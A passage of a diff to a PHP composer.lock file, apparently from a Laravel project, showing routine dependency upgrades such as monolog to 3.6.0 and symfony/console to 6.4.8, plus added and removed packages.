"php": ">=8.1", + "psr/log": "^2.0 || ^3.0" }, "provide": { - "psr/log-implementation": "1.0.0 || 2.0.0 || 3.0.0" + "psr/log-implementation": "3.0.0" }, "require-dev": { - "aws/aws-sdk-php": "^2.4.9 || ^3.0", + "aws/aws-sdk-php": "^3.0", "doctrine/couchdb": "~1.0@dev", "elasticsearch/elasticsearch": "^7 || ^8", "ext-json": "*", - "graylog2/gelf-php": "^1.4.2 || ^2@dev", - "guzzlehttp/guzzle": "^7.4", + "graylog2/gelf-php": "^1.4.2 || ^2.0", + "guzzlehttp/guzzle": "^7.4.5", "guzzlehttp/psr7": "^2.2", "mongodb/mongodb": "^1.8", "php-amqplib/php-amqplib": "~2.4 || ^3", - "phpspec/prophecy": "^1.15", - "phpstan/phpstan": "^1.10", - "phpunit/phpunit": "^8.5.38 || ^9.6.19", - "predis/predis": "^1.1 || ^2.0", - "rollbar/rollbar": "^1.3 || ^2 || ^3", + "phpstan/phpstan": "^1.9", + "phpstan/phpstan-deprecation-rules": "^1.0", + "phpstan/phpstan-strict-rules": "^1.4", + "phpunit/phpunit": "^10.5.17", + "predis/predis": "^1.1 || ^2", "ruflin/elastica": "^7", - "swiftmailer/swiftmailer": "^5.3|^6.0", "symfony/mailer": "^5.4 || ^6", "symfony/mime": "^5.4 || ^6" }, @@ -2669,7 +3447,7 @@ "type": "library", "extra": { "branch-alias": { - "dev-main": "2.x-dev" + "dev-main": "3.x-dev" } }, "autoload": { @@ -2697,7 +3475,7 @@ ], "support": { "issues": "https://github.com/Seldaek/monolog/issues", - "source": "https://github.com/Seldaek/monolog/tree/2.9.3" + "source": "https://github.com/Seldaek/monolog/tree/3.6.0" }, "funding": [ { @@ -2709,20 +3487,20 @@ "type": "tidelift" } ], - "time": "2024-04-12T20:52:51+00:00" + "time": "2024-04-12T21:02:21+00:00" }, { "name": "nesbot/carbon", - "version": "2.72.3", + "version": "2.72.5", "source": { "type": "git", "url": "https://github.com/briannesbitt/Carbon.git", - "reference": "0c6fd108360c562f6e4fd1dedb8233b423e91c83" + "reference": "afd46589c216118ecd48ff2b95d77596af1e57ed" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/briannesbitt/Carbon/zipball/0c6fd108360c562f6e4fd1dedb8233b423e91c83", - "reference": "0c6fd108360c562f6e4fd1dedb8233b423e91c83", + "url": "https://api.github.com/repos/briannesbitt/Carbon/zipball/afd46589c216118ecd48ff2b95d77596af1e57ed", + "reference": "afd46589c216118ecd48ff2b95d77596af1e57ed", "shasum": "" }, "require": { @@ -2756,8 +3534,8 @@ "type": "library", "extra": { "branch-alias": { - "dev-3.x": "3.x-dev", - "dev-master": "2.x-dev" + "dev-master": "3.x-dev", + "dev-2.x": "2.x-dev" }, "laravel": { "providers": [ @@ -2816,7 +3594,93 @@ "type": "tidelift" } ], - "time": "2024-01-25T10:35:09+00:00" + "time": "2024-06-03T19:18:41+00:00" + }, + { + "name": "nunomaduro/termwind", + "version": "v1.15.1", + "source": { + "type": "git", + "url": "https://github.com/nunomaduro/termwind.git", + "reference": "8ab0b32c8caa4a2e09700ea32925441385e4a5dc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/8ab0b32c8caa4a2e09700ea32925441385e4a5dc", + "reference": "8ab0b32c8caa4a2e09700ea32925441385e4a5dc", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": "^8.0", + "symfony/console": "^5.3.0|^6.0.0" + }, + "require-dev": { + "ergebnis/phpstan-rules": "^1.0.", + "illuminate/console": "^8.0|^9.0", + "illuminate/support": "^8.0|^9.0", + "laravel/pint": "^1.0.0", + "pestphp/pest": "^1.21.0", + "pestphp/pest-plugin-mock": "^1.0", + "phpstan/phpstan": "^1.4.6", + "phpstan/phpstan-strict-rules": "^1.1.0", + "symfony/var-dumper": "^5.2.7|^6.0.0", + "thecodingmachine/phpstan-strict-rules": "^1.0.0" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Termwind\\Laravel\\TermwindServiceProvider" + ] + } + }, + "autoload": { + "files": [ + "src/Functions.php" + ], + "psr-4": { + "Termwind\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "Its like Tailwind CSS, but for the console.", + "keywords": [ + "cli", + "console", + "css", + "package", + "php", + "style" + ], + "support": { + "issues": "https://github.com/nunomaduro/termwind/issues", + "source": "https://github.com/nunomaduro/termwind/tree/v1.15.1" + }, + "funding": [ + { + "url": "https://www.paypal.com/paypalme/enunomaduro", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://github.com/xiCO2k", + "type": "github" + } + ], + "time": "2023-02-08T01:06:31+00:00" }, { "name": "opensid/router", @@ -2886,36 +3750,40 @@ }, { "name": "openspout/openspout", - "version": "v3.7.4", + "version": "v4.24.1", "source": { "type": "git", "url": "https://github.com/openspout/openspout.git", - "reference": "dfbbd53b5edcd486b45a37f6a04fac33073c70f3" + "reference": "003991abc5cfee93423254774c71766d38cbe340" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/openspout/openspout/zipball/dfbbd53b5edcd486b45a37f6a04fac33073c70f3", - "reference": "dfbbd53b5edcd486b45a37f6a04fac33073c70f3", + "url": "https://api.github.com/repos/openspout/openspout/zipball/003991abc5cfee93423254774c71766d38cbe340", + "reference": "003991abc5cfee93423254774c71766d38cbe340", "shasum": "" }, "require": { "ext-dom": "*", + "ext-fileinfo": "*", "ext-filter": "*", "ext-libxml": "*", "ext-xmlreader": "*", "ext-zip": "*", - "php": "~7.3.0 || ~7.4.0 || ~8.0.0 || ~8.1.0" + "php": "~8.1.0 || ~8.2.0 || ~8.3.0" }, "require-dev": { "ext-zlib": "*", - "friendsofphp/php-cs-fixer": "^3.4", - "phpstan/phpstan": "^1.4", - "phpstan/phpstan-phpunit": "^1.0", - "phpunit/phpunit": "^9.5" + "friendsofphp/php-cs-fixer": "^3.57.1", + "infection/infection": "^0.28.1", + "phpbench/phpbench": "^1.2.15", + "phpstan/phpstan": "^1.11.1", + "phpstan/phpstan-phpunit": "^1.4.0", + "phpstan/phpstan-strict-rules": "^1.6.0", + "phpunit/phpunit": "^10.5.20" }, "suggest": { - "ext-iconv": "To handle non UTF-8 CSV files (if \"php-intl\" is not already installed or is too limited)", - "ext-intl": "To handle non UTF-8 CSV files (if \"iconv\" is not already installed)" + "ext-iconv": "To handle non UTF-8 CSV files (if \"php-mbstring\" is not already installed or is too limited)", + "ext-mbstring": "To handle non UTF-8 CSV files (if \"iconv\" is not already installed)" }, "type": "library", "extra": { @@ -2959,7 +3827,7 @@ ], "support": { "issues": "https://github.com/openspout/openspout/issues", - "source": "https://github.com/openspout/openspout/tree/v3.7.4" + "source": "https://github.com/openspout/openspout/tree/v4.24.1" }, "funding": [ { @@ -2971,72 +3839,7 @@ "type": "github" } ], - "time": "2022-03-31T06:15:15+00:00" - }, - { - "name": "opis/closure", - "version": "3.6.3", - "source": { - "type": "git", - "url": "https://github.com/opis/closure.git", - "reference": "3d81e4309d2a927abbe66df935f4bb60082805ad" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/opis/closure/zipball/3d81e4309d2a927abbe66df935f4bb60082805ad", - "reference": "3d81e4309d2a927abbe66df935f4bb60082805ad", - "shasum": "" - }, - "require": { - "php": "^5.4 || ^7.0 || ^8.0" - }, - "require-dev": { - "jeremeamia/superclosure": "^2.0", - "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.6.x-dev" - } - }, - "autoload": { - "files": [ - "functions.php" - ], - "psr-4": { - "Opis\\Closure\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Marius Sarca", - "email": "marius.sarca@gmail.com" - }, - { - "name": "Sorin Sarca", - "email": "sarca_sorin@hotmail.com" - } - ], - "description": "A library that can be used to serialize closures (anonymous functions) and arbitrary objects.", - "homepage": "https://opis.io/closure", - "keywords": [ - "anonymous functions", - "closure", - "function", - "serializable", - "serialization", - "serialize" - ], - "support": { - "issues": "https://github.com/opis/closure/issues", - "source": "https://github.com/opis/closure/tree/3.6.3" - }, - "time": "2022-01-27T09:35:39+00:00" + "time": "2024-05-20T09:32:59+00:00" }, { "name": "paragonie/constant_time_encoding", @@ -3267,20 +4070,20 @@ }, { "name": "psr/cache", - "version": "1.0.1", + "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/cache.git", - "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8" + "reference": "aa5030cfa5405eccfdcb1083ce040c2cb8d253bf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/cache/zipball/d11b50ad223250cf17b86e38383413f5a6764bf8", - "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8", + "url": "https://api.github.com/repos/php-fig/cache/zipball/aa5030cfa5405eccfdcb1083ce040c2cb8d253bf", + "reference": "aa5030cfa5405eccfdcb1083ce040c2cb8d253bf", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": ">=8.0.0" }, "type": "library", "extra": { @@ -3300,7 +4103,7 @@ "authors": [ { "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" + "homepage": "https://www.php-fig.org/" } ], "description": "Common interface for caching libraries", @@ -3310,9 +4113,9 @@ "psr-6" ], "support": { - "source": "https://github.com/php-fig/cache/tree/master" + "source": "https://github.com/php-fig/cache/tree/3.0.0" }, - "time": "2016-08-06T20:24:11+00:00" + "time": "2021-02-03T23:26:27+00:00" }, { "name": "psr/clock", @@ -3364,22 +4167,27 @@ }, { "name": "psr/container", - "version": "1.1.2", + "version": "2.0.2", "source": { "type": "git", "url": "https://github.com/php-fig/container.git", - "reference": "513e0666f7216c7459170d56df27dfcefe1689ea" + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea", - "reference": "513e0666f7216c7459170d56df27dfcefe1689ea", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", "shasum": "" }, "require": { "php": ">=7.4.0" }, "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, "autoload": { "psr-4": { "Psr\\Container\\": "src/" @@ -3406,9 +4214,9 @@ ], "support": { "issues": "https://github.com/php-fig/container/issues", - "source": "https://github.com/php-fig/container/tree/1.1.2" + "source": "https://github.com/php-fig/container/tree/2.0.2" }, - "time": "2021-11-05T16:50:12+00:00" + "time": "2021-11-05T16:47:00+00:00" }, { "name": "psr/event-dispatcher", @@ -3622,30 +4430,30 @@ }, { "name": "psr/log", - "version": "1.1.4", + "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/log.git", - "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", - "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001", + "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": ">=8.0.0" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "1.1.x-dev" + "dev-master": "3.x-dev" } }, "autoload": { "psr-4": { - "Psr\\Log\\": "Psr/Log/" + "Psr\\Log\\": "src" } }, "notification-url": "https://packagist.org/downloads/", @@ -3666,31 +4474,31 @@ "psr-3" ], "support": { - "source": "https://github.com/php-fig/log/tree/1.1.4" + "source": "https://github.com/php-fig/log/tree/3.0.0" }, - "time": "2021-05-03T11:20:27+00:00" + "time": "2021-07-14T16:46:02+00:00" }, { "name": "psr/simple-cache", - "version": "1.0.1", + "version": "3.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/simple-cache.git", - "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", - "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/764e0b3939f5ca87cb904f570ef9be2d78a07865", + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865", "shasum": "" }, "require": { - "php": ">=5.3.0" + "php": ">=8.0.0" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "1.0.x-dev" + "dev-master": "3.0.x-dev" } }, "autoload": { @@ -3705,7 +4513,7 @@ "authors": [ { "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" + "homepage": "https://www.php-fig.org/" } ], "description": "Common interfaces for simple caching", @@ -3717,9 +4525,9 @@ "simple-cache" ], "support": { - "source": "https://github.com/php-fig/simple-cache/tree/master" + "source": "https://github.com/php-fig/simple-cache/tree/3.0.0" }, - "time": "2017-10-23T01:57:42+00:00" + "time": "2021-10-29T13:26:27+00:00" }, { "name": "ralouphie/getallheaders", @@ -3767,21 +4575,20 @@ }, { "name": "ramsey/collection", - "version": "1.3.0", + "version": "2.0.0", "source": { "type": "git", "url": "https://github.com/ramsey/collection.git", - "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4" + "reference": "a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ramsey/collection/zipball/ad7475d1c9e70b190ecffc58f2d989416af339b4", - "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4", + "url": "https://api.github.com/repos/ramsey/collection/zipball/a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5", + "reference": "a4b48764bfbb8f3a6a4d1aeb1a35bb5e9ecac4a5", "shasum": "" }, "require": { - "php": "^7.4 || ^8.0", - "symfony/polyfill-php81": "^1.23" + "php": "^8.1" }, "require-dev": { "captainhook/plugin-composer": "^5.3", @@ -3841,7 +4648,7 @@ ], "support": { "issues": "https://github.com/ramsey/collection/issues", - "source": "https://github.com/ramsey/collection/tree/1.3.0" + "source": "https://github.com/ramsey/collection/tree/2.0.0" }, "funding": [ { @@ -3853,29 +4660,27 @@ "type": "tidelift" } ], - "time": "2022-12-27T19:12:24+00:00" + "time": "2022-12-31T21:50:55+00:00" }, { "name": "ramsey/uuid", - "version": "4.2.3", + "version": "4.7.6", "source": { "type": "git", "url": "https://github.com/ramsey/uuid.git", - "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df" + "reference": "91039bc1faa45ba123c4328958e620d382ec7088" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ramsey/uuid/zipball/fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", - "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", + "url": "https://api.github.com/repos/ramsey/uuid/zipball/91039bc1faa45ba123c4328958e620d382ec7088", + "reference": "91039bc1faa45ba123c4328958e620d382ec7088", "shasum": "" }, "require": { - "brick/math": "^0.8 || ^0.9", + "brick/math": "^0.8.8 || ^0.9 || ^0.10 || ^0.11 || ^0.12", "ext-json": "*", - "php": "^7.2 || ^8.0", - "ramsey/collection": "^1.0", - "symfony/polyfill-ctype": "^1.8", - "symfony/polyfill-php80": "^1.14" + "php": "^8.0", + "ramsey/collection": "^1.2 || ^2.0" }, "replace": { "rhumsaa/uuid": "self.version" @@ -3887,24 +4692,23 @@ "doctrine/annotations": "^1.8", "ergebnis/composer-normalize": "^2.15", "mockery/mockery": "^1.3", - "moontoast/math": "^1.1", "paragonie/random-lib": "^2", "php-mock/php-mock": "^2.2", "php-mock/php-mock-mockery": "^1.3", "php-parallel-lint/php-parallel-lint": "^1.1", "phpbench/phpbench": "^1.0", - "phpstan/extension-installer": "^1.0", - "phpstan/phpstan": "^0.12", - "phpstan/phpstan-mockery": "^0.12", - "phpstan/phpstan-phpunit": "^0.12", + "phpstan/extension-installer": "^1.1", + "phpstan/phpstan": "^1.8", + "phpstan/phpstan-mockery": "^1.1", + "phpstan/phpstan-phpunit": "^1.1", "phpunit/phpunit": "^8.5 || ^9", - "slevomat/coding-standard": "^7.0", + "ramsey/composer-repl": "^1.4", + "slevomat/coding-standard": "^8.4", "squizlabs/php_codesniffer": "^3.5", "vimeo/psalm": "^4.9" }, "suggest": { "ext-bcmath": "Enables faster math with arbitrary-precision integers using BCMath.", - "ext-ctype": "Enables faster processing of character classification using ctype functions.", "ext-gmp": "Enables faster math with arbitrary-precision integers using GMP.", "ext-uuid": "Enables the use of PeclUuidTimeGenerator and PeclUuidRandomGenerator.", "paragonie/random-lib": "Provides RandomLib for use with the RandomLibAdapter", @@ -3912,9 +4716,6 @@ }, "type": "library", "extra": { - "branch-alias": { - "dev-main": "4.x-dev" - }, "captainhook": { "force-install": true } @@ -3939,7 +4740,7 @@ ], "support": { "issues": "https://github.com/ramsey/uuid/issues", - "source": "https://github.com/ramsey/uuid/tree/4.2.3" + "source": "https://github.com/ramsey/uuid/tree/4.7.6" }, "funding": [ { @@ -3951,30 +4752,30 @@ "type": "tidelift" } ], - "time": "2021-09-25T23:10:38+00:00" + "time": "2024-04-27T21:32:50+00:00" }, { "name": "rap2hpoutre/fast-excel", - "version": "v4.1.0", + "version": "v5.5.0", "source": { "type": "git", "url": "https://github.com/rap2hpoutre/fast-excel.git", - "reference": "724557e844170a231fd4515bbc3ea435ca622e7d" + "reference": "83604f2a16fbb0374747299173abe691b24916da" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/rap2hpoutre/fast-excel/zipball/724557e844170a231fd4515bbc3ea435ca622e7d", - "reference": "724557e844170a231fd4515bbc3ea435ca622e7d", + "url": "https://api.github.com/repos/rap2hpoutre/fast-excel/zipball/83604f2a16fbb0374747299173abe691b24916da", + "reference": "83604f2a16fbb0374747299173abe691b24916da", "shasum": "" }, "require": { - "illuminate/support": "5.3.* || 5.4.* || 5.5.* || 5.6.* || 5.7.* || 5.8.* || ^6.0 || ^7.0 || ^8.0 || ^9.0", - "openspout/openspout": "^3", - "php": "^7.3 || ^8.0" + "illuminate/support": "^6.0 || ^7.0 || ^8.0 || ^9.0 || ^10.0 || ^11.0", + "openspout/openspout": "^4.24", + "php": "^8.0" }, "require-dev": { - "illuminate/database": "^6.20.12 || ^7.30.4 || ^8.24.0 || ^9.0", - "phpunit/phpunit": "^9.5", + "illuminate/database": "^6.20.12 || ^7.30.4 || ^8.24.0 || ^9.0 || ^10.0 || ^11.0", + "phpunit/phpunit": "^9.5 || ^10.1", "squizlabs/php_codesniffer": "3.*" }, "type": "library", @@ -4013,7 +4814,7 @@ ], "support": { "issues": "https://github.com/rap2hpoutre/fast-excel/issues", - "source": "https://github.com/rap2hpoutre/fast-excel/tree/v4.1.0" + "source": "https://github.com/rap2hpoutre/fast-excel/tree/v5.5.0" }, "funding": [ { @@ -4021,34 +4822,33 @@ "type": "github" } ], - "time": "2022-07-21T14:21:25+00:00" + "time": "2024-06-03T08:00:43+00:00" }, { "name": "rennokki/laravel-eloquent-query-cache", - "version": "3.3.0", + "version": "3.4.0", "source": { "type": "git", "url": "https://github.com/renoki-co/laravel-eloquent-query-cache.git", - "reference": "00e73a7050bedca315c71bf433d0c283f8a73fbc" + "reference": "abd7235617206dbf82af8e3177616d7bfb5fed84" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/renoki-co/laravel-eloquent-query-cache/zipball/00e73a7050bedca315c71bf433d0c283f8a73fbc", - "reference": "00e73a7050bedca315c71bf433d0c283f8a73fbc", + "url": "https://api.github.com/repos/renoki-co/laravel-eloquent-query-cache/zipball/abd7235617206dbf82af8e3177616d7bfb5fed84", + "reference": "abd7235617206dbf82af8e3177616d7bfb5fed84", "shasum": "" }, "require": { - "illuminate/database": "^8.83|^9.0.1", - "illuminate/support": "^8.83|^9.0.1" + "illuminate/database": "^9.35|^10.5", + "illuminate/support": "^9.35|^10.5" }, "require-dev": { - "chelout/laravel-relationship-events": "^1.5", + "chelout/laravel-relationship-events": "^1.5|^2.0", "laravel/legacy-factories": "^1.3", + "livewire/livewire": "dev-master", "mockery/mockery": "^1.5", - "orchestra/database": "^6.28|^7.0", - "orchestra/testbench": "^6.28|^7.0", - "orchestra/testbench-core": "^6.28|^7.0", - "phpunit/phpunit": "^9.5.13" + "orchestra/testbench": "^7.23|^8.1.1", + "phpunit/phpunit": "^9.5.25" }, "type": "library", "autoload": { @@ -4080,7 +4880,7 @@ ], "support": { "issues": "https://github.com/renoki-co/laravel-eloquent-query-cache/issues", - "source": "https://github.com/renoki-co/laravel-eloquent-query-cache/tree/3.3.0" + "source": "https://github.com/renoki-co/laravel-eloquent-query-cache/tree/3.4.0" }, "funding": [ { @@ -4088,7 +4888,7 @@ "type": "github" } ], - "time": "2022-02-12T19:37:00+00:00" + "time": "2023-04-01T12:26:34+00:00" }, { "name": "slowprog/composer-copy-file", @@ -4144,26 +4944,28 @@ }, { "name": "spatie/eloquent-sortable", - "version": "3.11.0", + "version": "4.4.0", "source": { "type": "git", "url": "https://github.com/spatie/eloquent-sortable.git", - "reference": "b06fa886559f8d40e31c8a69fd32bd45401dc5da" + "reference": "7a460c775d29741f42744bac52f993cb5b84be0f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/eloquent-sortable/zipball/b06fa886559f8d40e31c8a69fd32bd45401dc5da", - "reference": "b06fa886559f8d40e31c8a69fd32bd45401dc5da", + "url": "https://api.github.com/repos/spatie/eloquent-sortable/zipball/7a460c775d29741f42744bac52f993cb5b84be0f", + "reference": "7a460c775d29741f42744bac52f993cb5b84be0f", "shasum": "" }, "require": { - "illuminate/database": "^6.0|^7.0|^8.0", - "illuminate/support": "^6.0|^7.0|^8.0", - "php": "^7.3|^8.0" + "illuminate/database": "^9.31|^10.0|^11.0", + "illuminate/support": "^9.31|^10.0|^11.0", + "nesbot/carbon": "^2.63|^3.0", + "php": "^8.1", + "spatie/laravel-package-tools": "^1.9" }, "require-dev": { - "orchestra/testbench": "^4.0|^5.0|^6.0", - "phpunit/phpunit": "^8.0|^9.0" + "orchestra/testbench": "^7.0|^8.0|^9.0", + "phpunit/phpunit": "^9.5|^10.0" }, "type": "library", "extra": { @@ -4199,8 +5001,72 @@ "sortable" ], "support": { - "issues": "https://github.com/spatie/eloquent-sortable/issues", - "source": "https://github.com/spatie/eloquent-sortable/tree/3.11.0" + "issues": "https://github.com/spatie/eloquent-sortable/issues", + "source": "https://github.com/spatie/eloquent-sortable/tree/4.4.0" + }, + "funding": [ + { + "url": "https://spatie.be/open-source/support-us", + "type": "custom" + }, + { + "url": "https://github.com/spatie", + "type": "github" + } + ], + "time": "2024-06-04T11:09:54+00:00" + }, + { + "name": "spatie/laravel-package-tools", + "version": "1.16.4", + "source": { + "type": "git", + "url": "https://github.com/spatie/laravel-package-tools.git", + "reference": "ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53", + "reference": "ddf678e78d7f8b17e5cdd99c0c3413a4a6592e53", + "shasum": "" + }, + "require": { + "illuminate/contracts": "^9.28|^10.0|^11.0", + "php": "^8.0" + }, + "require-dev": { + "mockery/mockery": "^1.5", + "orchestra/testbench": "^7.7|^8.0", + "pestphp/pest": "^1.22", + "phpunit/phpunit": "^9.5.24", + "spatie/pest-plugin-test-time": "^1.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "Spatie\\LaravelPackageTools\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Freek Van der Herten", + "email": "freek@spatie.be", + "role": "Developer" + } + ], + "description": "Tools for creating Laravel packages", + "homepage": "https://github.com/spatie/laravel-package-tools", + "keywords": [ + "laravel-package-tools", + "spatie" + ], + "support": { + "issues": "https://github.com/spatie/laravel-package-tools/issues", + "source": "https://github.com/spatie/laravel-package-tools/tree/1.16.4" }, "funding": [ { @@ -4208,7 +5074,7 @@ "type": "github" } ], - "time": "2021-01-18T00:32:12+00:00" + "time": "2024-03-20T07:29:11+00:00" }, { "name": "spipu/html2pdf", @@ -4269,52 +5135,47 @@ }, { "name": "symfony/console", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "f3e591c48688a0cfa1a3296205926c05e84b22b1" + "reference": "be5854cee0e8c7b110f00d695d11debdfa1a2a91" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/f3e591c48688a0cfa1a3296205926c05e84b22b1", - "reference": "f3e591c48688a0cfa1a3296205926c05e84b22b1", + "url": "https://api.github.com/repos/symfony/console/zipball/be5854cee0e8c7b110f00d695d11debdfa1a2a91", + "reference": "be5854cee0e8c7b110f00d695d11debdfa1a2a91", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php73": "^1.9", - "symfony/polyfill-php80": "^1.16", - "symfony/service-contracts": "^1.1|^2|^3", - "symfony/string": "^5.1|^6.0" + "symfony/service-contracts": "^2.5|^3", + "symfony/string": "^5.4|^6.0|^7.0" }, "conflict": { - "psr/log": ">=3", - "symfony/dependency-injection": "<4.4", - "symfony/dotenv": "<5.1", - "symfony/event-dispatcher": "<4.4", - "symfony/lock": "<4.4", - "symfony/process": "<4.4" + "symfony/dependency-injection": "<5.4", + "symfony/dotenv": "<5.4", + "symfony/event-dispatcher": "<5.4", + "symfony/lock": "<5.4", + "symfony/process": "<5.4" }, "provide": { - "psr/log-implementation": "1.0|2.0" + "psr/log-implementation": "1.0|2.0|3.0" }, "require-dev": { - "psr/log": "^1|^2", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/event-dispatcher": "^4.4|^5.0|^6.0", - "symfony/lock": "^4.4|^5.0|^6.0", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/var-dumper": "^4.4|^5.0|^6.0" - }, - "suggest": { - "psr/log": "For using the console logger", - "symfony/event-dispatcher": "", - "symfony/lock": "", - "symfony/process": "" + "psr/log": "^1|^2|^3", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/lock": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/var-dumper": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -4348,7 +5209,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v5.4.39" + "source": "https://github.com/symfony/console/tree/v6.4.8" }, "funding": [ { @@ -4364,29 +5225,29 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/deprecation-contracts", - "version": "v2.5.3", + "version": "v3.5.0", "source": { "type": "git", "url": "https://github.com/symfony/deprecation-contracts.git", - "reference": "80d075412b557d41002320b96a096ca65aa2c98d" + "reference": "0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/80d075412b557d41002320b96a096ca65aa2c98d", - "reference": "80d075412b557d41002320b96a096ca65aa2c98d", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1", + "reference": "0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1", "shasum": "" }, "require": { - "php": ">=7.1" + "php": ">=8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -4415,7 +5276,7 @@ "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.5.0" }, "funding": [ { @@ -4431,31 +5292,35 @@ "type": "tidelift" } ], - "time": "2023-01-24T14:02:46+00:00" + "time": "2024-04-18T09:32:20+00:00" }, { "name": "symfony/error-handler", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/error-handler.git", - "reference": "9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd" + "reference": "ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/error-handler/zipball/9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd", - "reference": "9e02a6e831d6c2dbc5f96c8ff5314d453ecd53cd", + "url": "https://api.github.com/repos/symfony/error-handler/zipball/ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc", + "reference": 